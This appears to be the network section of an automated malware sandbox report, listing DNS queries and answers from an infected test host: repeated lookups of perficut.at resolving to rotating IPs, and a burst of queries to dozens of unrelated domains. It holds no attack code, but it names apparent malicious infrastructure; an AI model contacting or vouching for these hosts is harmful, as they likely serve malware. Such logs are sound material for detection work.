Feb 16, 2023 11:50:28.125952959 CET	53	60825	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.167167902 CET	60473	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.177234888 CET	53	64936	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.287636995 CET	53	60473	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.313019037 CET	59374	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.332016945 CET	56616	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.352674961 CET	53	56616	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.360482931 CET	61184	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.385190010 CET	53	61184	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.424973011 CET	53	59374	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.444284916 CET	57387	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.460695982 CET	50228	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.466142893 CET	53	57387	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.470138073 CET	53269	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.490839005 CET	53	53269	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.555880070 CET	59827	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.561460972 CET	62431	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.595036030 CET	53	62431	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.595817089 CET	53	59827	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.627657890 CET	64271	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.686451912 CET	51105	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.705259085 CET	52455	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.708878994 CET	53	51105	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.710874081 CET	55244	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.714598894 CET	53	50228	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.739975929 CET	53	64271	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.760421038 CET	53	55244	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.764727116 CET	64969	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.801521063 CET	53	64969	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.813172102 CET	53	52455	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.831938982 CET	53037	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.861141920 CET	53	53037	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.870862961 CET	55457	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.894007921 CET	53	55457	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.908098936 CET	60816	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.918896914 CET	62424	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.931112051 CET	53	60816	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.939363003 CET	61126	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.941092968 CET	53	62424	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.949506044 CET	55390	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.961585999 CET	53	61126	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.969578981 CET	53	55390	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.970407963 CET	58912	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.990334034 CET	53	58912	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.015033007 CET	50622	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.028878927 CET	55649	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.048161983 CET	53	55649	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.056912899 CET	64376	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.082413912 CET	52110	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.087369919 CET	53	64376	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.156202078 CET	63687	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.178909063 CET	53	63687	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.187972069 CET	53	50622	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.216976881 CET	53	52110	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.359982014 CET	57824	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.381016970 CET	53	57824	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.418718100 CET	52741	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.527988911 CET	53	52741	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.529800892 CET	60644	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.551847935 CET	53	60644	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.604530096 CET	55951	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.633869886 CET	51592	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.636677027 CET	61359	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.665221930 CET	53	61359	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.827188969 CET	58480	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.827320099 CET	53	55951	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.848495007 CET	53	58480	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.862117052 CET	51889	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.871673107 CET	60418	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:29.891289949 CET	53	60418	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.914208889 CET	53	51889	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.930355072 CET	53	51592	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:29.943635941 CET	54283	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.130117893 CET	59763	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.188546896 CET	53	59763	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.203500986 CET	53	54283	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.260113955 CET	54431	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.407996893 CET	53	54431	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.437613010 CET	65461	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.467452049 CET	53	65461	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.584681988 CET	50090	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.609724045 CET	51855	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.629286051 CET	53	51855	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.880135059 CET	53	50090	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:30.982732058 CET	59221	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:30.998356104 CET	50433	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:31.004168034 CET	53	59221	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:31.122371912 CET	63688	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:31.144205093 CET	53	63688	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:31.174931049 CET	53	50433	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:31.292349100 CET	61554	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:31.310020924 CET	53	61554	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:32.417423964 CET	62134	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:32.520481110 CET	53	62134	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:32.858192921 CET	56532	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:32.981441975 CET	53	56532	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 16, 2023 11:49:05.578969002 CET	192.168.2.3	8.8.8.8	0x5229	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.100178003 CET	192.168.2.3	8.8.8.8	0x84d1	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:08.996042967 CET	192.168.2.3	8.8.8.8	0x93ba	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.096405029 CET	192.168.2.3	8.8.8.8	0x4942	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.235512972 CET	192.168.2.3	8.8.8.8	0x24f5	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.330091953 CET	192.168.2.3	8.8.8.8	0x11ab	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.011415958 CET	192.168.2.3	8.8.8.8	0xb07b	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.232419968 CET	192.168.2.3	8.8.8.8	0x225f	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:28.053153992 CET	192.168.2.3	8.8.8.8	0xd772	Standard query (0)	beg.com.ve	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.885447979 CET	192.168.2.3	8.8.8.8	0x212a	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.367307901 CET	192.168.2.3	8.8.8.8	0x87ab	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.625036955 CET	192.168.2.3	8.8.8.8	0x93f8	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.375308990 CET	192.168.2.3	8.8.8.8	0x830a	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.311496019 CET	192.168.2.3	8.8.8.8	0x9cfe	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.527456045 CET	192.168.2.3	8.8.8.8	0x9514	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.678168058 CET	192.168.2.3	8.8.8.8	0x3ec8	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.465527058 CET	192.168.2.3	8.8.8.8	0x4301	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.666181087 CET	192.168.2.3	8.8.8.8	0x6b19	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.175308943 CET	192.168.2.3	8.8.8.8	0xd5c3	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.516350031 CET	192.168.2.3	8.8.8.8	0x1819	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.812330008 CET	192.168.2.3	8.8.8.8	0x395c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.963176012 CET	192.168.2.3	8.8.8.8	0x3580	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.672718048 CET	192.168.2.3	8.8.8.8	0x4bc	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.433581114 CET	192.168.2.3	8.8.8.8	0x37c3	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.700021029 CET	192.168.2.3	8.8.8.8	0xf8c9	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.291203022 CET	192.168.2.3	8.8.8.8	0xc959	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:58.951977968 CET	192.168.2.3	8.8.8.8	0x4109	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.437529087 CET	192.168.2.3	8.8.8.8	0x8f5c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.498056889 CET	192.168.2.3	8.8.8.8	0x5b5b	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.645973921 CET	192.168.2.3	8.8.8.8	0x3bdc	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.155621052 CET	192.168.2.3	8.8.8.8	0xd23b	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:07.330909014 CET	192.168.2.3	8.8.8.8	0xbe82	Standard query (0)	h167471.srv11.test-hf.su	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.213740110 CET	192.168.2.3	8.8.8.8	0xb06c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.421124935 CET	192.168.2.3	8.8.8.8	0xa786	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.251410007 CET	192.168.2.3	8.8.8.8	0xf719	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.251660109 CET	192.168.2.3	8.8.8.8	0x421e	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.291371107 CET	192.168.2.3	8.8.8.8	0x9471	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.292747021 CET	192.168.2.3	8.8.8.8	0x1038	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.294032097 CET	192.168.2.3	8.8.8.8	0x9b40	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.296905041 CET	192.168.2.3	8.8.8.8	0x9f4b	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.297712088 CET	192.168.2.3	8.8.8.8	0xd641	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.300431967 CET	192.168.2.3	8.8.8.8	0x5af5	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.302887917 CET	192.168.2.3	8.8.8.8	0x28ff	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.305423021 CET	192.168.2.3	8.8.8.8	0xb8ac	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.362577915 CET	192.168.2.3	8.8.8.8	0xfdc5	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.367924929 CET	192.168.2.3	8.8.8.8	0xb2e5	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.374721050 CET	192.168.2.3	8.8.8.8	0x60a4	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.445194960 CET	192.168.2.3	8.8.8.8	0xa6a8	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.471019030 CET	192.168.2.3	8.8.8.8	0xe6e0	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.481530905 CET	192.168.2.3	8.8.8.8	0xed4d	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.481857061 CET	192.168.2.3	8.8.8.8	0xed0e	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.554301023 CET	192.168.2.3	8.8.8.8	0x328	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.653559923 CET	192.168.2.3	8.8.8.8	0xdb57	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.656658888 CET	192.168.2.3	8.8.8.8	0x20e7	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.670135021 CET	192.168.2.3	8.8.8.8	0x6f21	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.801285028 CET	192.168.2.3	8.8.8.8	0x2599	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.857582092 CET	192.168.2.3	8.8.8.8	0x9613	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.891617060 CET	192.168.2.3	8.8.8.8	0x241a	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.944386005 CET	192.168.2.3	8.8.8.8	0xd0e6	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.998182058 CET	192.168.2.3	8.8.8.8	0x6566	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.018841982 CET	192.168.2.3	8.8.8.8	0x3e2e	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.048146963 CET	192.168.2.3	8.8.8.8	0xe305	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.125092030 CET	192.168.2.3	8.8.8.8	0x3a5d	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.167167902 CET	192.168.2.3	8.8.8.8	0xd44e	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.313019037 CET	192.168.2.3	8.8.8.8	0x28ee	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.332016945 CET	192.168.2.3	8.8.8.8	0x1d53	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.360482931 CET	192.168.2.3	8.8.8.8	0x142b	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.444284916 CET	192.168.2.3	8.8.8.8	0x4b9	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.460695982 CET	192.168.2.3	8.8.8.8	0x552d	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.470138073 CET	192.168.2.3	8.8.8.8	0x34a5	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.555880070 CET	192.168.2.3	8.8.8.8	0xf9b7	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.561460972 CET	192.168.2.3	8.8.8.8	0xa19	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.627657890 CET	192.168.2.3	8.8.8.8	0x6af5	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.686451912 CET	192.168.2.3	8.8.8.8	0xee0	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.705259085 CET	192.168.2.3	8.8.8.8	0x545f	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.710874081 CET	192.168.2.3	8.8.8.8	0xa3f7	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.764727116 CET	192.168.2.3	8.8.8.8	0x1b3b	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.831938982 CET	192.168.2.3	8.8.8.8	0xff6e	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.870862961 CET	192.168.2.3	8.8.8.8	0x7146	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.908098936 CET	192.168.2.3	8.8.8.8	0xdf3d	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.918896914 CET	192.168.2.3	8.8.8.8	0x6de6	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.939363003 CET	192.168.2.3	8.8.8.8	0x8e3f	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.949506044 CET	192.168.2.3	8.8.8.8	0xa724	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.970407963 CET	192.168.2.3	8.8.8.8	0xf24d	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.015033007 CET	192.168.2.3	8.8.8.8	0x80bb	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.028878927 CET	192.168.2.3	8.8.8.8	0xfd45	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.056912899 CET	192.168.2.3	8.8.8.8	0xca26	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.082413912 CET	192.168.2.3	8.8.8.8	0xa71e	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.156202078 CET	192.168.2.3	8.8.8.8	0x188c	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.359982014 CET	192.168.2.3	8.8.8.8	0x5a1	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.418718100 CET	192.168.2.3	8.8.8.8	0x98b5	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.529800892 CET	192.168.2.3	8.8.8.8	0xc308	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.604530096 CET	192.168.2.3	8.8.8.8	0x6e0c	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.633869886 CET	192.168.2.3	8.8.8.8	0x1f16	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.636677027 CET	192.168.2.3	8.8.8.8	0xdc8a	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.827188969 CET	192.168.2.3	8.8.8.8	0x95e2	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.862117052 CET	192.168.2.3	8.8.8.8	0xb578	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.871673107 CET	192.168.2.3	8.8.8.8	0x2952	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.943635941 CET	192.168.2.3	8.8.8.8	0x6732	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.130117893 CET	192.168.2.3	8.8.8.8	0x39a3	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.260113955 CET	192.168.2.3	8.8.8.8	0x8146	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.437613010 CET	192.168.2.3	8.8.8.8	0x7023	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.584681988 CET	192.168.2.3	8.8.8.8	0x3256	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.609724045 CET	192.168.2.3	8.8.8.8	0xadeb	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.982732058 CET	192.168.2.3	8.8.8.8	0x8fdf	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.998356104 CET	192.168.2.3	8.8.8.8	0x667e	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.122371912 CET	192.168.2.3	8.8.8.8	0x3a12	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.292349100 CET	192.168.2.3	8.8.8.8	0xcd66	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:32.417423964 CET	192.168.2.3	8.8.8.8	0xe6de	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:32.858192921 CET	192.168.2.3	8.8.8.8	0x145c	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:06.010010004 CET	8.8.8.8	192.168.2.3	0x5229	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:07.328950882 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
